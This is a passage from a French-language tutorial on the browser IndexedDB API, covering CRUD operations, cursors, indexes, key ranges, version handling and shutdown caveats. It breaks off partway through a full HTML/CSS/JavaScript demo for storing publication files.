suivre la transaction plutôt que les requêtes individuelles, peut certainement vous aider.

- -

Maintenant que vous avons une transaction, nous avons besoin de récupérer l'objet de stockage de celle-ci. Les transactions vous permettent seulement d'avoir l'objet de stockage que vous avez spécifié lors de la création de la transaction. Puis, vous pouvez ajouter toutes les données dont vous avez besoin.

- -
// Faire quelque chose lorsque toutes les données sont ajoutées à la base de données.
-transaction.oncomplete = function(event) {
-  alert("All done!");
-};
-
-transaction.onerror = function(event) {
-  // N'oubliez pas de gérer les erreurs !
-};
-
-var objectStore = transaction.objectStore("customers");
-for (var i in customerData) {
-  var request = objectStore.add(customerData[i]);
-  request.onsuccess = function(event) {
-    // event.target.result == customerData[i].ssn;
-  };
-}
- -
La méthode result d’une requête venant d'un appel à add() est la clé de la valeur qui vient d'être ajoutée. Dans ce cas, ce devrait être équivalent à la propriété ssn de l'objet qui vient d'être ajouté, puisque l'objet de stockage utilise la propriété ssn pour le key path. Notez que la fonction add() requiert qu'aucun objet déjà présent dans la base ait la même clé. Si vous essayez de modifier une entrée existante, ou si vous ne vous en occupez pas, vous pouvez utiliser la fonction put(), comme montré plus loin dans la section {{ anch("Updating an entry in the database") }}.
- -
- -

Supprimer des données dans la base de données

- -

Supprimer des données est très similaire :

- -
var request = db.transaction(["customers"], "readwrite")
-                .objectStore("customers")
-                .delete("444-44-4444");
-request.onsuccess = function(event) {
-  // c'est supprimé !
-};
- -

Récupérer des données de la base de données

- -

Maintenant que la base de données dispose de quelques informations, vous pouvez les récupérer de plusieurs façons. D'abord, la plus simple get(). Vous devez fournir une clé pour récupérer la valeur, comme ceci :

- -
var transaction = db.transaction(["customers"]);
-var objectStore = transaction.objectStore("customers");
-var request = objectStore.get("444-44-4444");
-request.onerror = function(event) {
-  // gestion des erreurs!
-};
-request.onsuccess = function(event) {
-  // Faire quelque chose avec request.result !
-  alert("Name for SSN 444-44-4444 is " + request.result.name);
-};
- -

Ça fait beaucoup de code pour une "simple" récupération. Voici comment le raccourcir un peu, en supposant que vous gériez les erreurs au niveau de la base de données :

- -
db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
-  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
-};
- -
Vous voyez comment ça fonctionne ? Comme il n'y a qu'un seul objet de stockage, vous pouvez éviter de passer une liste d'objets dont vous avez besoin dans votre transaction, et juste passer le nom comme une chaîne de caractères. Aussi, nous faisons seulement une lecture de la base, donc nous n'avons pas besoin d'une transaction "readwrite". Appeler une transaction() sans spécifier de mode nous donne une transaction "readonly". Une autre subtilité ici est que nous n'enregistrons pas l'objet de notre requête dans une variable. Comme l’évènement DOM a la requête comme cible, vous pouvez utiliser l'évènement pour récupérer la propriété result.
- -
- -

Vous pouvez accélérer l’accès à vos données  en limitant la portée et le mode de la transaction. Voici deux astuces :

- -
    -
  • Lors de la définition de la scope (portée), spécifiez seulement l’objet de stockage dont vous avez besoin. De cette manière, vous pouvez avoir de multiples opérations simultanées sans qu’elles se chevauchent.
    • -
  • Spécifier une transaction en mode readwrite uniquement lorsque c’est nécessaire. Vous pouvez avoir de multiples opérations simultanées en lecture seule, mais vous ne pouvez avoir qu’une transaction "readwrite" (lecture/écriture) sur un objet de stockage. Pour en savoir plus, voir la définition relative aux transactions in the Basic Concepts article.
    • -
- -

Mettre à jour une entrée dans la base de données

- -

Maintenant que nous avons récupéréré quelques données, les mettre à jour et en insérer est assez simple. Mettons à jour l’exemple précédent :

- -
var objectStore = db.transaction(["customers"], "readwrite").objectStore("customers");
-var request = objectStore.get("444-44-4444");
-request.onerror = function(event) {
-  // Gestion des erreurs!
-};
-request.onsuccess = function(event) {
-  // On récupère l'ancienne valeur que nous souhaitons mettre à jour
-  var data = request.result;
-
-  // On met à jour ce(s) valeur(s) dans l'objet
-  data.age = 42;
-
-  // Et on remet cet objet à jour dans la base
-  var requestUpdate = objectStore.put(data);
-   requestUpdate.onerror = function(event) {
-     // Faire quelque chose avec l’erreur
-   };
-   requestUpdate.onsuccess = function(event) {
-     // Succès - la donnée est mise à jour !
-   };
-};
- -
Ici, nous avons créé une variable objectStore et nous avons recherché un enregistrement d’un client, identifié par la valeur ssn (444-44-4444). Nous avons ensuite mis le résultat dans une variable (data), mis à jour la propriété age de cet objet, puis créé une deuxième requête (requestUpdate) pour mettre l'enregistrement du client dans l'objectStore, en écrasant la valeur précédente.
- -
-

Note: dans ce cas, nous avons eu à spécifier une transaction readwrite puisque nous voulions écrire dans la base, et pas seulement la lire.

-
- -

Utiliser un curseur

- -

Utiliser get() nécessite de connaître la clé que vous souhaitez récupérer. Si vous voulez parcourir toutes les valeurs de l’objet de stockage, alors vous devez utiliser un curseur. Voici comment ça marche :

- -
var objectStore = db.transaction("customers").objectStore("customers");
-
-objectStore.openCursor().onsuccess = function(event) {
-  var cursor = event.target.result;
-  if (cursor) {
-    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
-    cursor.continue();
-  }
-  else {
-    alert("No more entries!");
-  }
-};
- -

La fonction openCursor() prend en compte plusieurs arguments. En premier, vous pouvez spécifier une plage de résultats à récupérer en utilisant un objet  "key range" que nous allons voir dans une minute. En deuxième, vous pouvez spécifier la direction vers laquelle vous souhaitez itérer. Dans l’exemple ci-dessus, nous avons itéré tous les objets dans l’ordre ascendant. Le "callback" (rappel) de réussite pour les curseurs est un peu spécial. L'objet cursor lui-même est le result (résutat) de la requête (au-dessus, nous utilisons le raccourci event.target.result). Puis la clé et valeur courante peuvent être trouvées dans les propriétés key(clé)  et value (valeur) de l’objet cursor. Si vous souhaitez continuer, vous devez appeler continue() sur le curseur. Lorsque vous avez atteint la fin des données (ou s’il n’y a plus d’entrées qui correspondent à votre requête openCursor() ) , vous aurez toujours votre callback  success, mais la propriété result sera undefined.

- -

Une utilisation classique avec les curseurs est de récupérer tous les objets dans un objet de stockage et de les mettre dans un tableau, comme ceci :

- -
var customers = [];
-
-objectStore.openCursor().onsuccess = function(event) {
-  var cursor = event.target.result;
-  if (cursor) {
-    customers.push(cursor.value);
-    cursor.continue();
-  }
-  else {
-    alert("Got all customers: " + customers);
-  }
-};
- -
-

Note: Mozilla a aussi implémenté getAll() pour gérer ce cas (et getAllKeys(), qui est actuellement caché derrière la préférence dom.indexedDB.experimental  dans about:config) . ceux-ci ne font pas partie d' IndexedDB standard, et peuvent disparaître dans le futur. Nous les avons inclus partceque nous pensons qu'ils sont utiles. Le code suivant fait exactement la même chose que ci-dessus :

- -
objectStore.getAll().onsuccess = function(event) {
-  alert("Got all customers: " + event.target.result);
-};
- -

Il y a un coût de performance associé avec la recherche de la propriété value du curseur, parce que l'objet est créé paresseusement. Quand vous utilisez getAll() par exemple, Gecko doit créer tous les objets à la fois. Si vous êtes seulement intéressé par la lecture de chaque clé, pour l'instance, il est beaucoup plus efficace d'utiliser un curseur que getAll(). Si vous essayez d'obtenir un tableau de tous les objets d'un objet de stockage, utilisez getAll().

-
- -

Utiliser un index

- -

Le stockage des données des clients utilisant le SSN comme clé est logique puisque le SSN identifie un individu unique. (Que ce soit une bonne idée pour la vie privée est une question différente, et en dehors du champ de cet article). Si vous devez rechercher un client par son nom, vous devrez toutefois faire itérer sur toutes les clés SSN dans la base de données jusqu'à ce que vous trouviez la bonne. La recherche de cette manière serait très lente, alors, vous pouvez utiliser un index.

- -
// D'abord, assurez-vous de créer un index dans request.onupgradeneeded:
-// objectStore.createIndex("name", "name");
-// Autrement, vous obtiendrez une DOMException.
-
-var index = objectStore.index("name");
-
-index.get("Donna").onsuccess = function(event) {
-  alert("Donna's SSN is " + event.target.result.ssn);
-};
- -

Le "name" du curseur n'est pas unique, donc il pourrait y avoir plus d'une entrée avec le name attribué à  "Donna". Dans ce cas, vous obtenez toujours celui qui a la valeur clé la plus basse .

- -

Si vous avez besoin d'accèder à toutes les entrées avec un name donné, vous pouvez utiliser un curseur. Vous pouvez ouvrir deux types différents de curseurs sur les index. Un curseur normal situe la propriété index de l'objet dans l'objet de stockage. Un curseur de clés situe la propriété index des clés utilisées pour stocker l'objet dans l'objet de stockage. Les différences sont illustrées ici :

- -
// Utilisation d'un curseur normal pour saisir tous les enregistrements des objets client
-index.openCursor().onsuccess = function(event) {
-  var cursor = event.target.result;
-  if (cursor) {
-    // cursor.key est un nom, comme "Bill", et cursor.value est l'objet entier.
-    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
-    cursor.continue();
-  }
-};
-
-// Utilisation d'un curseur de clés pour saisir les clés des enregistrements des objets client
-index.openKeyCursor().onsuccess = function(event) {
-  var cursor = event.target.result;
-  if (cursor) {
-    // cursor.key est un nom, comme "Bill", et cursor.value est le SSN.
-    // Pas moyen d'obtenir directement le reste de l'objet stocké .
-    alert("Name: " + cursor.key + ", SSN: " + cursor.value);
-    cursor.continue();
-  }
-};
- -

Spécifier l'intervalle et la direction du curseur

- -

Si vous souhaitez limiter l'intervalle de valeurs que vous voyez dans un curseur, vous pouvez utiliser un objet IDBKeyRange et le donner comme premier argument à openCursor() ou openKeyCursor() . Vous pouvez créer un intervalle de clés qui n'autorise qu'une seule clé, ou qui a des limites inférieure et supérieure, ou qui a des bornes inférieure et supérieure. La limite peut être "closed" (fermée) (c'est-à-dire que l'intervalle de clés comprend les valeurs données) ou "open" (ouverte) (c'est-à-dire que la plage de clés n'inclut pas les valeurs données. Voici comment cela fonctionne :

- -
// Correspond seulement à "Donna"
-var singleKeyRange = IDBKeyRange.only("Donna");
-
-// Correspond à n'importe quoi contenant "Bill", y compris "Bill"
-var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
-
-// Correspond à n'importe quoi contenant "Bill", mais pas "Bill"
-var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
-
-// Correspond à n'importe quoi, mais  "Donna" exclus.
-var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
-
-// Correspond à n'importe quoi compris entre "Bill" et "Donna", mais "Donna" exclus.
-var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
-
-// Pour utiliser un des intervalles de clés, placez le en premier argument de openCursor()/openKeyCursor()
-index.openCursor(boundKeyRange).onsuccess = function(event) {
-  var cursor = event.target.result;
-  if (cursor) {
-    // Faire quelque chose avec la sélection.
-    cursor.continue();
-  }
-};
- -

Parfois, vous voudrez peut-être itérer dans l'ordre décroissant plutôt que dans l'ordre croissant (la direction par défaut pour tous les curseurs). Le changement de direction est réalisé en passant prev à la fonction openCursor() antérieure comme second argument :

- -
objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
-  var cursor = event.target.result;
-  if (cursor) {
-    // Faire quelque chose avec les entrées.
-    cursor.continue();
-  }
-};
- -

Si vous souhaitez simplement spécifier un changement de direction, mais ne pas limiter les résultats, vous pouvez simplement passer "null" comme premier argument :

- -
objectStore.openCursor(null, "prev").onsuccess = function(event) {
-  var cursor = event.target.result;
-  if (cursor) {
-    // Faire quelque chose avec les entrées.
-    cursor.continue();
-  }
-};
- -

Étant donné que l'index "name" n'est pas unique, il peut y avoir plusieurs entrées où le name est le même. Notez qu'une telle situation ne peut pas se produire avec les objets stockés car la clé doit toujours être unique. Si vous souhaitez filtrer les doublons pendant l'itération du curseur sur les index, vous pouvez passer nextunique (ou prevunique si vous revenez en arrière) comme paramètre de direction. Lorsque nextunique ou prevunique sont utilisés, l'entrée avec la clé la plus basse est toujours celle retournée.

- -
index.openKeyCursor(null, "nextunique").onsuccess = function(event) {
-  var cursor = event.target.result;
-  if (cursor) {
-    // Faire quelque chose avec les entrées.
-    cursor.continue();
-  }
-};
- -

Voyez "IDBCursor Constants" pour les arguments de direction valides.

- -

La version change alors qu'une application Web est ouverte dans un autre onglet

- -

Lorsque votre application Web change de telle sorte qu'une modification de version est nécessaire pour votre base de données, vous devez considérer ce qui se passe si l'utilisateur a l'ancienne version de votre application ouverte dans un onglet, puis charge la nouvelle version de votre application dans une autre . Lorsque vous appelez open() avec une version plus grande que la version actuelle de la base de données, toutes les autres bases de données ouvertes doivent reconnaître explicitement la demande avant de commencer à modifier la base de données (un événement onblocked  (bloqué) est déclenché jusqu'à ce qu'elles soient fermées ou rechargées). Voici comment cela fonctionne :

- -
var openReq = mozIndexedDB.open("MyTestDatabase", 2);
-
-openReq.onblocked = function(event) {
-  //  Si un autre onglet est chargé avec la base de données, il doit être fermé 
-  // avant que nous puissions continuer.
-  alert("Veuillez fermer tous les ongles ouverts sur ce site!");
-};
-
-openReq.onupgradeneeded = function(event) {
-  // Toutes les autres bases de données ont été fermées. Tout régler.
-  db.createObjectStore(/* ... */);
-  useDatabase(db);
-}
-
-openReq.onsuccess = function(event) {
-  var db = event.target.result;
-  useDatabase(db);
-  return;
-}
-
-function useDatabase(db) {
-  // Assurez-vous d'ajouter un gestionnaire pour être averti si une autre page demande 
-  // un changement de version. Nous devons fermer la base de données. 
-  // Cela permet à l'autre page de mettre à niveau la base de données. 
-  //  Si vous ne le faites pas, la mise à niveau ne se produira que lorsque l'utilisateur fermera l'onglet .
-  db.onversionchange = function(event) {
-    db.close();
-    alert("A new version of this page is ready. Please reload!");
-  };
-
-  //  Faire quelque chose avec la base de données .
-}
- -

Vous devriez également écouter les erreurs VersionError pour gérer le cas où les applications déjà ouvertes déclencheraient un code conduisant à une nouvelle tentative d'ouverture de la base de données, mais en utilisant une version désuète.

- -

Sécurité

- -

IndexedDB utilise le principe " same-origin " (même origine), ce qui signifie qu'il relie le stockage à l'origine du site qui le crée (généralement, c'est le domaine ou le sous-domaine du site), de sorte qu'il ne peut être consulté par aucune autre origine.

- -

Le contenu de la fenêtre de tiers (par exemple le contenu de {{htmlelement("iframe")}}) peut accèder à IndexedDB pour l'origine dans laquelle il est intégré, à moins que le navigateur ne soit configuré pour ne jamais accepter de cookies tiers (voir le {{bug("1147821")}}).

- -

Avertissement concernant l'arrêt du navigateur

- -

Lorsque le navigateur s'arrête (parce que l'utilisateur a choisi l'option Quit ou Exit), le disque contenant la base de données est supprimé de manière inattendue ou les permissions sont perdues dans le magasin de base de données, les choses suivantes se produisent :

- -
    -
  1. Chaque transaction sur chaque base de données affectée (ou toutes les bases de données ouvertes, dans le cas de l'arrêt du navigateur) est interrompue avec un AbortError. L'effet est le même que si {{domxref("IDBTransaction.abort()")}} est appelé sur chaque transaction.
    2. -
  2. Une fois toutes les transactions terminées, la connexion à la base de données est fermée .
    3. -
  3. Enfin, l'objet {{domxref("IDBDatabase")}} représentant la connexion à la base de données reçoit un évènement {{event("close")}} . Vous pouvez utiliser un gestionnaire d'évènements  {{domxref("IDBDatabase.onclose")}} pour écouter ces évènements, afin de savoir quand une base de données est fermée de façon inattendue .
    4. -
- -

Le comportement décrit ci-dessus est nouveau et n'est disponible que pour les versions de navigateur suivantes : Firefox 50, Google Chrome 31 (approximativement).

- -

Avant ces versions de navigateurs, les transactions étaient interrompues silencieusement et aucun événement {{event ("close")}} n'était déclenché, donc il n'y avait aucun moyen de détecter une fermeture de base de données inattendue.

- -

Étant donné que l'utilisateur peut quitter le navigateur à tout moment, cela signifie que vous ne pouvez pas compter sur une transaction particulière à compléter, et sur les navigateurs plus anciens, vous n'êtes même pas informé quand elles ne sont pas terminées. Il y a plusieurs conséquences à ce comportement.

- -

Tout d'abord, vous devez vous occuper de toujours laisser votre base de données dans un état cohérent à la fin de chaque transaction. Par exemple, supposons que vous utilisiez IndexedDB pour stocker une liste d'éléments que l'utilisateur est autorisé à éditer. Vous enregistrez la liste après l'édition en effaçant l'objet de stockage puis en écrivant la nouvelle liste. Si vous effacez l'objet de stockage dans une transaction et que vous écrivez la nouvelle liste dans une autre transaction, il existe un danger : si le navigateur se ferme après l'effacement mais avant l'écriture, votre base de données est  vide. Pour éviter cela, vous devez combiner l'effacement et l'écriture en une seule transaction.

- -

Ensuite, vous ne devez jamais lier les transactions de base de données pour les événements unload (déchargement). Si l'événement unload est déclenché par la fermeture du navigateur, toutes les transactions créées dans le gestionnaire d'événements unload ne seront jamais terminées. Une approche intuitive, pour le maintien de certaines informations dans les sessions du navigateur, est de le lire à partir de la base de données, lorsque le navigateur (ou une page particulière) est ouvert, le mettre à jour à mesure que l'utilisateur interagit avec le navigateur, puis l'enregistrer dans la base de données lorsque le navigateur ( ou page) se ferme. Cependant, cela ne fonctionne pas. Les transactions de la base de données sont créées dans le gestionnaire d'événements unload, mais comme elles sont asynchrones, elles sont interrompues avant qu'elles puissent s'exécuter.

- -

En fait, il n'y a aucun moyen de garantir que les transactions IndexedDB seront terminées, même avec un arrêt normal du navigateur. Voir {{bug (870645)}}. Comme solution de rechange pour cette notification d'arrêt normal, vous pouvez suivre vos transactions et ajouter un événement beforeunload pour avertir l'utilisateur si des transactions ne sont pas encore terminées au moment du déchargement.

- -

Au-moins, avec l'ajout des notifications d'annulation et {{domxref ("IDBDatabase.onclose")}}, vous pouvez savoir quand cela s'est produit.

- -

Le tri et les langues

- -

Mozilla a implémenté la capacité d'effectuer un tri des données IndexedDB localisées sur Firefox 43+. Par défaut, IndexedDB n'a pas pris en charge l'internationalisation des chaînes de tri, et était trié comme s'il s'agissait d'un texte anglais. Par exemple, "b", "á", "z", "a" devaient être triés comme suit :

- -
    -
  • a
    • -
  • b
    • -
  • z
    • -
  • á
    • -
- -

ce qui n'est évidemment pas la façon dont les utilisateurs souhaitent que leurs données soient triées - Aaron et Áaron, par exemple, doivent aller l'un à côté de l'autre dans une liste de contacts. L'obtention d'un tri international approprié exige donc que l'ensemble des données soit appelé dans la mémoire et que le tri soit exécuté par le JavaScript côté client, ce qui n'est pas très efficace.

- -

Cette nouvelle fonctionnalité permet aux développeurs de spécifier une "locale" (langue) lors de la création d'un index en utilisant {{domxref("IDBObjectStore.createIndex()")}} (vérifiez ses paramètres). Dans ce cas, lorsqu'un curseur est utilisé pour itérer sur l'ensemble de données , et si vous souhaitez spécifier un tri local, vous pouvez utiliser un {{domxref ("IDBLocaleAwareKeyRange")}}.

- -

{{domxref("IDBIndex")}} a également eu de nouvelles propriétés qui lui ont été ajoutées pour spécifier la langue : locale (retourne la langue si elle est spécifiée, ou null sinon) et isAutoLocale (retourne true (vrai) si l'index a été créé avec une "locale auto", ce qui signifie que la langue par défaut de la plate-forme est utilisée, sinon false).

- -
-

Note : Cette fonctionnalité est couramment cachée derrière une marque (flag) — pour l'activer et l'expérimenter, aller à about:config et activez dom.indexedDB.experimental.

-
- -

Exemple complet d'IndexedDB

- -

HTML Content

- -
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
-
-    <h1>IndexedDB Demo: storing blobs, e-publication example</h1>
-    <div class="note">
-      <p>
-        Works and tested with:
-      </p>
-      <div id="compat">
-      </div>
-    </div>
-
-    <div id="msg">
-    </div>
-
-    <form id="register-form">
-      <table>
-        <tbody>
-          <tr>
-            <td>
-              <label for="pub-title" class="required">
-                Title:
-              </label>
-            </td>
-            <td>
-              <input type="text" id="pub-title" name="pub-title" />
-            </td>
-          </tr>
-          <tr>
-            <td>
-              <label for="pub-biblioid" class="required">
-                Bibliographic ID:<br/>
-                <span class="note">(ISBN, ISSN, etc.)</span>
-              </label>
-            </td>
-            <td>
-              <input type="text" id="pub-biblioid" name="pub-biblioid"/>
-            </td>
-          </tr>
-          <tr>
-            <td>
-              <label for="pub-year">
-                Year:
-              </label>
-            </td>
-            <td>
-              <input type="number" id="pub-year" name="pub-year" />
-            </td>
-          </tr>
-        </tbody>
-        <tbody>
-          <tr>
-            <td>
-              <label for="pub-file">
-                File image:
-              </label>
-            </td>
-            <td>
-              <input type="file" id="pub-file"/>
-            </td>
-          </tr>
-          <tr>
-            <td>
-              <label for="pub-file-url">
-                Online-file image URL:<br/>
-                <span class="note">(same origin URL)</span>
-              </label>
-            </td>
-            <td>
-              <input type="text" id="pub-file-url" name="pub-file-url"/>
-            </td>
-          </tr>
-        </tbody>
-      </table>
-
-      <div class="button-pane">
-        <input type="button" id="add-button" value="Add Publication" />
-        <input type="reset" id="register-form-reset"/>
-      </div>
-    </form>
-
-    <form id="delete-form">
-      <table>
-        <tbody>
-          <tr>
-            <td>
-              <label for="pub-biblioid-to-delete">
-                Bibliographic ID:<br/>
-                <span class="note">(ISBN, ISSN, etc.)</span>
-              </label>
-            </td>
-            <td>
-              <input type="text" id="pub-biblioid-to-delete"
-                     name="pub-biblioid-to-delete" />
-            </td>
-          </tr>
-          <tr>
-            <td>
-              <label for="key-to-delete">
-                Key:<br/>
-                <span class="note">(for example 1, 2, 3, etc.)</span>
-              </label>
-            </td>
-            <td>
-              <input type="text" id="key-to-delete"
-                     name="key-to-delete" />
-            </td>
-          </tr>
-        </tbody>
-      </table>
-      <div class="button-pane">
-        <input type="button" id="delete-button" value="Delete Publication" />
-        <input type="button" id="clear-store-button"
-               value="Clear the whole store" class="destructive" />
-      </div>
-    </form>
-
-    <form id="search-form">
-      <div class="button-pane">
-        <input type="button" id="search-list-button"
-               value="List database content" />
-      </div>
-    </form>
-
-    <div>
-      <div id="pub-msg">
-      </div>
-      <div id="pub-viewer">
-      </div>
-      <ul id="pub-list">
-      </ul>
-    </div>
- -

CSS Content

- -
body {
-  font-size: 0.8em;
-  font-family: Sans-Serif;
-}
-
-form {
-  background-color: #cccccc;
-  border-radius: 0.3em;
-  display: inline-block;
-  margin-bottom: 0.5em;
-  padding: 1em;
-}
-
-table {
-  border-collapse: collapse;
-}
-
-input {
-  padding: 0.3em;
-  border-color: #cccccc;
-  border-radius: 0.3em;
-}
-
-.required:after {
-  content: "*";
-  color: red;
-}
-
-.button-pane {
-  margin-top: 1em;
-}
-
-#pub-viewer {
-  float: right;
-  width: 48%;
-  height: 20em;
-  border: solid #d092ff 0.1em;
-}
-#pub-viewer iframe {
-  width: 100%;
-  height: 100%;
-}
-
-#pub-list {
-  width: 46%;
-  background-color: #eeeeee;
-  border-radius: 0.3em;
-}
-#pub-list li {
-  padding-top: 0.5em;
-  padding-bottom: 0.5em;
-  padding-right: 0.5em;
-}
-
-#msg {
-  margin-bottom: 1em;
-}
-
-.action-success {
-  padding: 0.5em;
-  color: #00d21e;
-  background-color: #eeeeee;
-  border-radius: 0.2em;
-}
-
-.action-failure {
-  padding: 0.5em;
-  color: #ff1408;
-  background-color: #eeeeee;
-  border-radius: 0.2em;
-}
-
-.note {
-  font-size: smaller;
-}
-
-.destructive {
-  background-color: orange;
-}
-.destructive:hover {
-  background-color: #ff8000;
-}
-.destructive:active {
-  background-color: red;
-}
- -

JavaScript Content

- -
(function () {
-  var COMPAT_ENVS = [
-    ['Firefox', ">= 16.0"],
-    ['Google Chrome',
-     ">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
-  ];
-  var compat = $('#compat');
-  compat.empty();
-  compat.append('<ul id="compat-list"></ul>');
-  COMPAT_ENVS.forEach(function(val, idx, array) {
-    $('#compat-list').append('<li>' + val[0] + ': ' + val[1] + '</li>');
-  });
-
-  const DB_NAME = 'mdn-demo-indexeddb-epublications';
-  const DB_VERSION = 1; //  Utilisez un "long long" pour cette valeur (ne pas utiliser un flottant (float)) 
-  const DB_STORE_NAME = 'publications';
-
-  var db;
-
-  //  Utilisé pour garder une trace de la vue affichée pour éviter de la recharger inutilement
-  var current_view_pub_key;
-
-  function openDb() {
-    console.log("openDb ...");
-    var req = indexedDB.open(DB_NAME, DB_VERSION);
-    req.onsuccess = function (evt) {
-      //  Le mieux utiliser "this" que "req" pour obtenir le résultat et éviter  
-      // les problèmes avec "garbage collection".
-      // db = req.result;
-      db = this.result;
-      console.log("openDb DONE");
-    };
-    req.onerror = function (evt) {
-      console.error("openDb:", evt.target.errorCode);
-    };
-
-    req.onupgradeneeded = function (evt) {
-      console.log("openDb.onupgradeneeded");
-      var store = evt.currentTarget.result.createObjectStore(
-        DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
-
-      store.createIndex('biblioid', 'biblioid', { unique: true });
-      store.createIndex('title', 'title', { unique: false });
-      store.createIndex('year', 'year', { unique: false });
-    };
-  }
-
-  /**
-   * @paramètre {string}(chaîne de caractères) store_name
-   * @paramètre {string}(chaîne de caractères) mode either "readonly" ou "readwrite"
-   */
-  function getObjectStore(store_name, mode) {
-    var tx = db.transaction(store_name, mode);
-    return tx.objectStore(store_name);
-  }
-
-  function clearObjectStore(store_name) {
-    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
-    var req = store.clear();
-    req.onsuccess = function(evt) {
-      displayActionSuccess("Store cleared");
-      displayPubList(store);
-    };
-    req.onerror = function (evt) {
-      console.error("clearObjectStore:", evt.target.errorCode);
-      displayActionFailure(this.error);
-    };
-  }
-
-  function getBlob(key, store, success_callback) {
-    var req = store.get(key);
-    req.onsuccess = function(evt) {
-      var value = evt.target.result;
-      if (value)
-        success_callback(value.blob);
-    };
-  }
-
-  /**
-   * @paramètre objet de stockage {IDBObjectStore=}
-   */
-  function displayPubList(store) {
-    console.log("displayPubList");
-
-    if (typeof store == 'undefined')
-      store = getObjectStore(DB_STORE_NAME, 'readonly');
-
-    var pub_msg = $('#pub-msg');
-    pub_msg.empty();
-    var pub_list = $('#pub-list');
-    pub_list.empty();
-    //  Réinitialisation de l'iframe afin qu'il n'indique pas le contenu précédent 
-    newViewerFrame();
-
-    var req;
-    req = store.count();
-    // Les requêtes sont exécutées dans l'ordre où elles ont été faites en-dehors de la 
-    // transaction,  et leurs résultats sont retournés dans le même ordre. 
-    // Ainsi, le texte du compteur ci-dessous sera affiché avant la liste de pub actuelle 
-    // (ce n'est pas algorithmiquement important dans ce cas) .
-    req.onsuccess = function(evt) {
-      pub_msg.append('<p>There are <strong>' + evt.target.result +
-                     '</strong> record(s) in the object store.</p>');
-    };
-    req.onerror = function(evt) {
-      console.error("add error", this.error);
-      displayActionFailure(this.error);
-    };
-
-    var i = 0;
-    req = store.openCursor();
-    req.onsuccess = function(evt) {
-      var cursor = evt.target.result;
-
-      //  Si le curseur pointe vers quelque chose, demandez les données 
-      if (cursor) {
-        console.log("displayPubList cursor:", cursor);
-        req = store.get(cursor.key);
-        req.onsuccess = function (evt) {
-          var value = evt.target.result;
-          var list_item = $('<li>' +
-                            '[' + cursor.key + '] ' +
-                            '(biblioid: ' + value.biblioid + ') ' +
-                            value.title +
-                            '</li>');
-          if (value.year != null)
-            list_item.append(' - ' + value.year);
-
-          if (value.hasOwnProperty('blob') &&
-              typeof value.blob != 'undefined') {
-            var link = $('<a href="' + cursor.key + '">File</a>');
-            link.on('click', function() { return false; });
-            link.on('mouseenter', function(evt) {
-                      setInViewer(evt.target.getAttribute('href')); });
-            list_item.append(' / ');
-            list_item.append(link);
-          } else {
-            list_item.append(" / No attached file");
-          }
-          pub_list.append(list_item);
-        };
-
-        //  Passer à l'objet de stockage suivant
-        cursor.continue();
-
-        // Ce compteur sert seulement à créer des identifiants distincts
-        i++;
-      } else {
-        console.log("No more entries");
-      }
-    };
-  }
-
-  function newViewerFrame() {
-    var viewer = $('#pub-viewer');
-    viewer.empty();
-    var iframe = $('<iframe />');
-    viewer.append(iframe);
-    return iframe;
-  }
-
-  function setInViewer(key) {
-    console.log("setInViewer:", arguments);
-    key = Number(key);
-    if (key == current_view_pub_key)
-      return;
-
-    current_view_pub_key = key;
-
-    var store = getObjectStore(DB_STORE_NAME, 'readonly');
-    getBlob(key, store, function(blob) {
-      console.log("setInViewer blob:", blob);
-      var iframe = newViewerFrame();
-
-      // Il n'est pas possible de définir un lien direct vers 
-      // le blob pour fournir un moyen de le télécharger directement. 
-      if (blob.type == 'text/html') {
-        var reader = new FileReader();
-        reader.onload = (function(evt) {
-          var html = evt.target.result;
-          iframe.load(function() {
-            $(this).contents().find('html').html(html);
-          });
-        });
-        reader.readAsText(blob);
-      } else if (blob.type.indexOf('image/') == 0) {
-        iframe.load(function() {
-          var img_id = 'image-' + key;
-          var img = $('<img id="' + img_id + '"/>');
-          $(this).contents().find('body').html(img);
-          var obj_url = window.URL.createObjectURL(blob);
-          $(this).contents().find('#' + img_id).attr('src', obj_url);
-          window.URL.revokeObjectURL(obj_url);
-        });
-      } else if (blob.type == 'application/pdf') {
-        $('*').css('cursor', 'wait');
-        var obj_url = window.URL.createObjectURL(blob);
-        iframe.load(function() {
-          $('*').css('cursor', 'auto');
-        });
-        iframe.attr('src', obj_url);
-        window.URL.revokeObjectURL(obj_url);
-      } else {
-        iframe.load(function() {
-          $(this).contents().find('body').html("No view available");
-        });
-      }
-
-    });
-  }
-
-  /**
-   * @paramètre {string} (chaîne de caractères) biblioid (identifiant bibliothèque)
-   * @paramètre {string} (chaîne de caractères) title (titre)
-   * @paramètre {number} (nombre) year (année)
-   * @paramètre {string} (chaîne de caractères) url : l'URL de l'image à télécharger et stocker sur le pc
-   *   IndexedDB database. La ressource derrière cette URL assujettie à
-   *   "Same origin policy", donc pour que cette méthode fonctionne, l'URL doit venir de
-   *   la même origine que le site web/l'application sur lequel le code est déployé.
-   */
-  function addPublicationFromUrl(biblioid, title, year, url) {
-    console.log("addPublicationFromUrl:", arguments);
-
-    var xhr = new XMLHttpRequest();
-    xhr.open('GET', url, true);
-    //  Définir le type de réponse recherché à "blob" 
-    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
-    xhr.responseType = 'blob';
-    xhr.onload = function (evt) {
-                           if (xhr.status == 200) {
-                             console.log("Blob retrieved");
-                             var blob = xhr.response;
-                             console.log("Blob:", blob);
-                             addPublication(biblioid, title, year, blob);
-                           } else {
-                             console.error("addPublicationFromUrl error:",
-                                           xhr.responseText, xhr.status);
-                           }
-                         };
-    xhr.send();
-
-    // Nous ne pouvons pas utiliser jQuery ici car, à partir de jQuery 1.8.3, 
-    // le nouveau "blob" responseType n'est pas géré.
-    // http://bugs.jquery.com/ticket/11461
-    // http://bugs.jquery.com/ticket/7248
